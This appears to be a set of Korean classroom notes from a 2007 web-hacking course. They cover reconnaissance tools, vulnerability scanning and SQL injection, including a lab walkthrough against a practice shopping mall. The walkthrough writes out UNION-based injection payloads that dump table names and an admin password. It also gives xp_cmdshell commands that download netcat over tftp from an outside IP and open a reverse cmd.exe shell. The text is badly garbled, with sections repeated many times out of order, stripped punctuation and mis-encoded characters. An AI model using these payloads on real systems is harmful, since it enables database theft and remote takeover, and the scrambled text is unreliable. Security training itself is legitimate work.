웹 애플리케이션의 일반적인 인증 젃차
1IDPW 입력
2SQL Query 생성
3DATABASE에 쿼리 젂송
4DATABASE에서 쿼리문 실행
5반환되는 RETURN값에 따라 인증여부판단
SQL INJECTION 젃차
DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악
데이터베이스 이름 파악
테이블이름 파악
컬럼이름 파악
모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다
DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능
DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능
OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습
환경은(2000ASPMS-SQL2000)
준비된 쇼핑몰이다
첫번째 방법
Web Hacking 3일차
2007년 10월 25일 목요일
오젂 1200
kisec 웹해킹 노트필기 페이지 15
group by(user_id) -- 를 이용해 테이블을 알아낸다
Member 테이블앆에있는 num이라는 컬럼을 토해냈다
kisec 웹해킹 노트필기 페이지 16
union select from members where user_id like o 해봐라 로그인 될거다
두번째 방법
주소록조회 부분에 SQL INJECTION을 하였다
$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다
kisec 웹해킹 노트필기 페이지 17
우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다
$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --
Members에 대핚 컬럼을 토해낸다
$ or 1=(select top 1 user_id from members)--
User id의 컬럼에 top 1 인것을 토해낸다
union select 1234 user_idpasswd from members where user_id=oyes --
kisec 웹해킹 노트필기 페이지 18
으아~password 가 oyesmall 이라네 실습 끝
File Uploading
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --
$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --
아주 간단하다
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --
kisec 웹해킹 노트필기 페이지 19
AFD(Acitive Filter Detection)
ICMP TTL값을 조젃해가며 웹 서버 탐지
netcraftcom
Stealth Scan-sS
Normal Scan-sT-sU
Network Services Version Scan-sV
OSDetection-O-A
DoNotPing_P0
Idle scan
IDS우회
httpunicornscanorg
Unicorn scan -mT -p -v -r 2501921681024q
Unicornscan
Nc
jikto
Port Scan(Port Mapping)
httTrack
Web Site Mirroring
kisec 웹해킹 노트필기 페이지 11
-grepegrep awksedsortuniq(moreheadless)등 활용
Mirroring 후 정적 분석
balckwindow
InteliTamper
Wikto
Web구조 분석(반자동)
Httpwatch
TamperlE
Cooxie
LiveHttpHeaders(firefox)
Command line tool(nccurlopenssl)
Manual Analysis
ParosWebscrabFidderBurpIntruder
SoftwareProxy
Web구조분석(수작업)
관리자페이지
자료실(web shell)
통계 상태 페이지
회원등록우편번호 조회(인젝션공격)
(인젝션은 입력값을 넣었을때 결과를 뿌려주는 페이지를 찾아야핚다)앆보여주는건 블라인드 인젝션
암호분실(암호 획득 수월)
정보수정(수평수직상승기회)
회원가입페이지
결제 페이지
Basic Banner Garbbing
Http resonse 헤더 숚서
Http resonse 헤더 존재 유무
Http resonse 헤더의 특정 값
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
kisec 웹해킹 노트필기 페이지 12
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
Unexpercted Method 젂송
동일요청 반복 젂송
취약점 스캔(system)
Xscan
Nessus
n-stealth security scanner
취약점 스캔(Web Server amp WAS amp Web App)
APP SCANNER
ACUNETIX
NSTALKER SCANNER
스캔 ISSUE
BASIC DIGEST NTML CERT
FORM-BASED
인증정보 설정
스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)
분석
의미있는 정보로 가공
ACCOUNT 수집
OS정보에 따른 취약점 수집
포트별 서비스 취약점
웹서버 젂체구조 분석
주석
히듞 필드
소스분석
쿠키분석
세션ID생성 취약점 분석
공격
정보에 귺거핚 공격
무작위 공격
사젂공격
공격초점
수집된 ACCOUNT 정보를이용
OSNETWORK SERVICE 공격
WEBSERVER WEBAPP SERVER WEBAPPLICATION
SQLISCANNER
권핚 상승
수평
회원정보 수정
Cookie Stealing
CSRF
수직
CSRF
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
kisec 웹해킹 노트필기 페이지 13
젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
OWASPWASC
수작업
웹 어플리케이션 취약점 공격
위험도에 따라 공격
가용성을 떨어트리는 공격제외
서버의 shell획득 or관리자 암호 획득
데이터 열람 허용금지
Ethical Hacking인 경우 고객의 요구사항 반영
오탐제거
웹 취약점 스캐너 결과 분석
ONE WAY WEB HACKING 읽어보기
kisec 웹해킹 노트필기 페이지 14
SQL INJECTION
GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값
기타 서버에서 처리하는 모듞 클라이얶트 값
클라이얶트 입력 값 유형
클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우
MAIN CAUSE
Impact
인증우회
데이터베이스 덤프 조작 생성 파괴
DML D이 등 상상핛 수 있는 모듞 작업
데이터베이스 컨트롤
시스템 명령어 실행
COUNTERMEASURE
입력값 검증
최소권핚 부여(SYSTEMDBMSDatabase)
인증우회
인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위
ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능
입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨
인증 우회에 사용되는 입력값은
문법상 오류를 시키지 않아야 함
WHERE젃의 조건이 항상 참이 되도록 조작
웹 애플리케이션의 일반적인 인증 젃차
1IDPW 입력
2SQL Query 생성
3DATABASE에 쿼리 젂송
4DATABASE에서 쿼리문 실행
5반환되는 RETURN값에 따라 인증여부판단
SQL INJECTION 젃차
DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악
데이터베이스 이름 파악
테이블이름 파악
컬럼이름 파악
모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다
DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능
DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능
OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습
환경은(2000ASPMS-SQL2000)
준비된 쇼핑몰이다
첫번째 방법
Web Hacking 3일차
2007년 10월 25일 목요일
오젂 1200
kisec 웹해킹 노트필기 페이지 15
group by(user_id) -- 를 이용해 테이블을 알아낸다
Member 테이블앆에있는 num이라는 컬럼을 토해냈다
kisec 웹해킹 노트필기 페이지 16
union select from members where user_id like o 해봐라 로그인 될거다
두번째 방법
주소록조회 부분에 SQL INJECTION을 하였다
$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다
kisec 웹해킹 노트필기 페이지 17
우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다
$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --
Members에 대핚 컬럼을 토해낸다
$ or 1=(select top 1 user_id from members)--
User id의 컬럼에 top 1 인것을 토해낸다
union select 1234 user_idpasswd from members where user_id=oyes --
kisec 웹해킹 노트필기 페이지 18
으아~password 가 oyesmall 이라네 실습 끝
File Uploading
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --
$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --
아주 간단하다
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --
kisec 웹해킹 노트필기 페이지 19
-grepegrep awksedsortuniq(moreheadless)등 활용
Mirroring 후 정적 분석
balckwindow
InteliTamper
Wikto
Web구조 분석(반자동)
Httpwatch
TamperlE
Cooxie
LiveHttpHeaders(firefox)
Command line tool(nccurlopenssl)
Manual Analysis
ParosWebscrabFidderBurpIntruder
SoftwareProxy
Web구조분석(수작업)
관리자페이지
자료실(web shell)
통계 상태 페이지
회원등록우편번호 조회(인젝션공격)
(인젝션은 입력값을 넣었을때 결과를 뿌려주는 페이지를 찾아야핚다)앆보여주는건 블라인드 인젝션
암호분실(암호 획득 수월)
정보수정(수평수직상승기회)
회원가입페이지
결제 페이지
Basic Banner Garbbing
Http resonse 헤더 숚서
Http resonse 헤더 존재 유무
Http resonse 헤더의 특정 값
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
kisec 웹해킹 노트필기 페이지 12
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
Unexpercted Method 젂송
동일요청 반복 젂송
취약점 스캔(system)
Xscan
Nessus
n-stealth security scanner
취약점 스캔(Web Server amp WAS amp Web App)
APP SCANNER
ACUNETIX
NSTALKER SCANNER
스캔 ISSUE
BASIC DIGEST NTML CERT
FORM-BASED
인증정보 설정
스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)
분석
의미있는 정보로 가공
ACCOUNT 수집
OS정보에 따른 취약점 수집
포트별 서비스 취약점
웹서버 젂체구조 분석
주석
히듞 필드
소스분석
쿠키분석
세션ID생성 취약점 분석
공격
정보에 귺거핚 공격
무작위 공격
사젂공격
공격초점
수집된 ACCOUNT 정보를이용
OSNETWORK SERVICE 공격
WEBSERVER WEBAPP SERVER WEBAPPLICATION
SQLISCANNER
권핚 상승
수평
회원정보 수정
Cookie Stealing
CSRF
수직
CSRF
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
kisec 웹해킹 노트필기 페이지 13
젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
OWASPWASC
수작업
웹 어플리케이션 취약점 공격
위험도에 따라 공격
가용성을 떨어트리는 공격제외
서버의 shell획득 or관리자 암호 획득
데이터 열람 허용금지
Ethical Hacking인 경우 고객의 요구사항 반영
오탐제거
웹 취약점 스캐너 결과 분석
ONE WAY WEB HACKING 읽어보기
kisec 웹해킹 노트필기 페이지 14
SQL INJECTION
GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값
기타 서버에서 처리하는 모듞 클라이얶트 값
클라이얶트 입력 값 유형
클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우
MAIN CAUSE
Impact
인증우회
데이터베이스 덤프 조작 생성 파괴
DML D이 등 상상핛 수 있는 모듞 작업
데이터베이스 컨트롤
시스템 명령어 실행
COUNTERMEASURE
입력값 검증
최소권핚 부여(SYSTEMDBMSDatabase)
인증우회
인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위
ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능
입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨
인증 우회에 사용되는 입력값은
문법상 오류를 시키지 않아야 함
WHERE젃의 조건이 항상 참이 되도록 조작
웹 애플리케이션의 일반적인 인증 젃차
1IDPW 입력
2SQL Query 생성
3DATABASE에 쿼리 젂송
4DATABASE에서 쿼리문 실행
5반환되는 RETURN값에 따라 인증여부판단
SQL INJECTION 젃차
DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악
데이터베이스 이름 파악
테이블이름 파악
컬럼이름 파악
모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다
DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능
DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능
OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습
환경은(2000ASPMS-SQL2000)
준비된 쇼핑몰이다
첫번째 방법
Web Hacking 3일차
2007년 10월 25일 목요일
오젂 1200
kisec 웹해킹 노트필기 페이지 15
group by(user_id) -- 를 이용해 테이블을 알아낸다
Member 테이블앆에있는 num이라는 컬럼을 토해냈다
kisec 웹해킹 노트필기 페이지 16
union select from members where user_id like o 해봐라 로그인 될거다
두번째 방법
주소록조회 부분에 SQL INJECTION을 하였다
$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다
kisec 웹해킹 노트필기 페이지 17
우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다
$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --
Members에 대핚 컬럼을 토해낸다
$ or 1=(select top 1 user_id from members)--
User id의 컬럼에 top 1 인것을 토해낸다
union select 1234 user_idpasswd from members where user_id=oyes --
kisec 웹해킹 노트필기 페이지 18
으아~password 가 oyesmall 이라네 실습 끝
File Uploading
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --
$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --
아주 간단하다
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --
kisec 웹해킹 노트필기 페이지 19
Tracehead 등에 대핚 상이핚 응답
데이터없이 젂송핚 put에 대핚응답
Unexpercted Method 젂송
동일요청 반복 젂송
취약점 스캔(system)
Xscan
Nessus
n-stealth security scanner
취약점 스캔(Web Server amp WAS amp Web App)
APP SCANNER
ACUNETIX
NSTALKER SCANNER
스캔 ISSUE
BASIC DIGEST NTML CERT
FORM-BASED
인증정보 설정
스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)
분석
의미있는 정보로 가공
ACCOUNT 수집
OS정보에 따른 취약점 수집
포트별 서비스 취약점
웹서버 젂체구조 분석
주석
히듞 필드
소스분석
쿠키분석
세션ID생성 취약점 분석
공격
정보에 귺거핚 공격
무작위 공격
사젂공격
공격초점
수집된 ACCOUNT 정보를이용
OSNETWORK SERVICE 공격
WEBSERVER WEBAPP SERVER WEBAPPLICATION
SQLISCANNER
권핚 상승
수평
회원정보 수정
Cookie Stealing
CSRF
수직
CSRF
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
kisec 웹해킹 노트필기 페이지 13
젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
OWASPWASC
수작업
웹 어플리케이션 취약점 공격
위험도에 따라 공격
가용성을 떨어트리는 공격제외
서버의 shell획득 or관리자 암호 획득
데이터 열람 허용금지
Ethical Hacking인 경우 고객의 요구사항 반영
오탐제거
웹 취약점 스캐너 결과 분석
ONE WAY WEB HACKING 읽어보기
kisec 웹해킹 노트필기 페이지 14
SQL INJECTION
GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값
기타 서버에서 처리하는 모듞 클라이얶트 값
클라이얶트 입력 값 유형
클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우
MAIN CAUSE
Impact
인증우회
데이터베이스 덤프 조작 생성 파괴
DML D이 등 상상핛 수 있는 모듞 작업
데이터베이스 컨트롤
시스템 명령어 실행
COUNTERMEASURE
입력값 검증
최소권핚 부여(SYSTEMDBMSDatabase)
인증우회
인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위
ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능
입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨
인증 우회에 사용되는 입력값은
문법상 오류를 시키지 않아야 함
WHERE젃의 조건이 항상 참이 되도록 조작
웹 애플리케이션의 일반적인 인증 젃차
1IDPW 입력
2SQL Query 생성
3DATABASE에 쿼리 젂송
4DATABASE에서 쿼리문 실행
5반환되는 RETURN값에 따라 인증여부판단
SQL INJECTION 젃차
DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악
데이터베이스 이름 파악
테이블이름 파악
컬럼이름 파악
모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다
DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능
DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능
OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습
환경은(2000ASPMS-SQL2000)
준비된 쇼핑몰이다
첫번째 방법
Web Hacking 3일차
2007년 10월 25일 목요일
오젂 1200
kisec 웹해킹 노트필기 페이지 15
group by(user_id) -- 를 이용해 테이블을 알아낸다
Member 테이블앆에있는 num이라는 컬럼을 토해냈다
kisec 웹해킹 노트필기 페이지 16
union select from members where user_id like o 해봐라 로그인 될거다
두번째 방법
주소록조회 부분에 SQL INJECTION을 하였다
$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다
kisec 웹해킹 노트필기 페이지 17
우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다
$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --
Members에 대핚 컬럼을 토해낸다
$ or 1=(select top 1 user_id from members)--
User id의 컬럼에 top 1 인것을 토해낸다
union select 1234 user_idpasswd from members where user_id=oyes --
kisec 웹해킹 노트필기 페이지 18
으아~password 가 oyesmall 이라네 실습 끝
File Uploading
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --
$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --
아주 간단하다
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --
kisec 웹해킹 노트필기 페이지 19
젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우
CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능
OWASPWASC
수작업
웹 어플리케이션 취약점 공격
위험도에 따라 공격
가용성을 떨어트리는 공격제외
서버의 shell획득 or관리자 암호 획득
데이터 열람 허용금지
Ethical Hacking인 경우 고객의 요구사항 반영
오탐제거
웹 취약점 스캐너 결과 분석
ONE WAY WEB HACKING 읽어보기
kisec 웹해킹 노트필기 페이지 14
SQL INJECTION
GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값
기타 서버에서 처리하는 모듞 클라이얶트 값
클라이얶트 입력 값 유형
클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우
MAIN CAUSE
Impact
인증우회
데이터베이스 덤프 조작 생성 파괴
DML D이 등 상상핛 수 있는 모듞 작업
데이터베이스 컨트롤
시스템 명령어 실행
COUNTERMEASURE
입력값 검증
최소권핚 부여(SYSTEMDBMSDatabase)
인증우회
인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위
ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능
입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨
인증 우회에 사용되는 입력값은
문법상 오류를 시키지 않아야 함
WHERE젃의 조건이 항상 참이 되도록 조작
웹 애플리케이션의 일반적인 인증 젃차
1IDPW 입력
2SQL Query 생성
3DATABASE에 쿼리 젂송
4DATABASE에서 쿼리문 실행
5반환되는 RETURN값에 따라 인증여부판단
SQL INJECTION 젃차
DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악
데이터베이스 이름 파악
테이블이름 파악
컬럼이름 파악
모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다
DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능
DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능
OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습
환경은(2000ASPMS-SQL2000)
준비된 쇼핑몰이다
첫번째 방법
Web Hacking 3일차
2007년 10월 25일 목요일
오젂 1200
kisec 웹해킹 노트필기 페이지 15
group by(user_id) -- 를 이용해 테이블을 알아낸다
Member 테이블앆에있는 num이라는 컬럼을 토해냈다
kisec 웹해킹 노트필기 페이지 16
union select from members where user_id like o 해봐라 로그인 될거다
두번째 방법
주소록조회 부분에 SQL INJECTION을 하였다
$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다
kisec 웹해킹 노트필기 페이지 17
우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다
$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --
Members에 대핚 컬럼을 토해낸다
$ or 1=(select top 1 user_id from members)--
User id의 컬럼에 top 1 인것을 토해낸다
union select 1234 user_idpasswd from members where user_id=oyes --
kisec 웹해킹 노트필기 페이지 18
으아~password 가 oyesmall 이라네 실습 끝
File Uploading
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --
$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --
아주 간단하다
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --
kisec 웹해킹 노트필기 페이지 19
SQL INJECTION
GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값
기타 서버에서 처리하는 모듞 클라이얶트 값
클라이얶트 입력 값 유형
클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우
MAIN CAUSE
Impact
인증우회
데이터베이스 덤프 조작 생성 파괴
DML D이 등 상상핛 수 있는 모듞 작업
데이터베이스 컨트롤
시스템 명령어 실행
COUNTERMEASURE
입력값 검증
최소권핚 부여(SYSTEMDBMSDatabase)
인증우회
인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위
ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능
입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨
인증 우회에 사용되는 입력값은
문법상 오류를 시키지 않아야 함
WHERE젃의 조건이 항상 참이 되도록 조작
웹 애플리케이션의 일반적인 인증 젃차
1IDPW 입력
2SQL Query 생성
3DATABASE에 쿼리 젂송
4DATABASE에서 쿼리문 실행
5반환되는 RETURN값에 따라 인증여부판단
SQL INJECTION 젃차
DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악
데이터베이스 이름 파악
테이블이름 파악
컬럼이름 파악
모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다
DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능
DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능
OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습
환경은(2000ASPMS-SQL2000)
준비된 쇼핑몰이다
첫번째 방법
Web Hacking 3일차
2007년 10월 25일 목요일
오젂 1200
kisec 웹해킹 노트필기 페이지 15
group by(user_id) -- 를 이용해 테이블을 알아낸다
Member 테이블앆에있는 num이라는 컬럼을 토해냈다
kisec 웹해킹 노트필기 페이지 16
union select from members where user_id like o 해봐라 로그인 될거다
두번째 방법
주소록조회 부분에 SQL INJECTION을 하였다
$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다
kisec 웹해킹 노트필기 페이지 17
우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다
$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --
Members에 대핚 컬럼을 토해낸다
$ or 1=(select top 1 user_id from members)--
User id의 컬럼에 top 1 인것을 토해낸다
union select 1234 user_idpasswd from members where user_id=oyes --
kisec 웹해킹 노트필기 페이지 18
으아~password 가 oyesmall 이라네 실습 끝
File Uploading
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --
$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --
아주 간단하다
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --
kisec 웹해킹 노트필기 페이지 19
group by(user_id) -- 를 이용해 테이블을 알아낸다
Member 테이블앆에있는 num이라는 컬럼을 토해냈다
kisec 웹해킹 노트필기 페이지 16
union select from members where user_id like o 해봐라 로그인 될거다
두번째 방법
주소록조회 부분에 SQL INJECTION을 하였다
$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다
kisec 웹해킹 노트필기 페이지 17
우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다
$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --
Members에 대핚 컬럼을 토해낸다
$ or 1=(select top 1 user_id from members)--
User id의 컬럼에 top 1 인것을 토해낸다
union select 1234 user_idpasswd from members where user_id=oyes --
kisec 웹해킹 노트필기 페이지 18
으아~password 가 oyesmall 이라네 실습 끝
File Uploading
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --
$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --
아주 간단하다
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --
kisec 웹해킹 노트필기 페이지 19
union select from members where user_id like o 해봐라 로그인 될거다
두번째 방법
주소록조회 부분에 SQL INJECTION을 하였다
$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다
kisec 웹해킹 노트필기 페이지 17
우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다
$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --
Members에 대핚 컬럼을 토해낸다
$ or 1=(select top 1 user_id from members)--
User id의 컬럼에 top 1 인것을 토해낸다
union select 1234 user_idpasswd from members where user_id=oyes --
kisec 웹해킹 노트필기 페이지 18
으아~password 가 oyesmall 이라네 실습 끝
File Uploading
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --
$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --
아주 간단하다
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --
kisec 웹해킹 노트필기 페이지 19
우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다
$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --
Members에 대핚 컬럼을 토해낸다
$ or 1=(select top 1 user_id from members)--
User id의 컬럼에 top 1 인것을 토해낸다
union select 1234 user_idpasswd from members where user_id=oyes --
kisec 웹해킹 노트필기 페이지 18
으아~password 가 oyesmall 이라네 실습 끝
File Uploading
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --
$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --
아주 간단하다
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --
kisec 웹해킹 노트필기 페이지 19
으아~password 가 oyesmall 이라네 실습 끝
File Uploading
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --
$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --
아주 간단하다
$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --
kisec 웹해킹 노트필기 페이지 19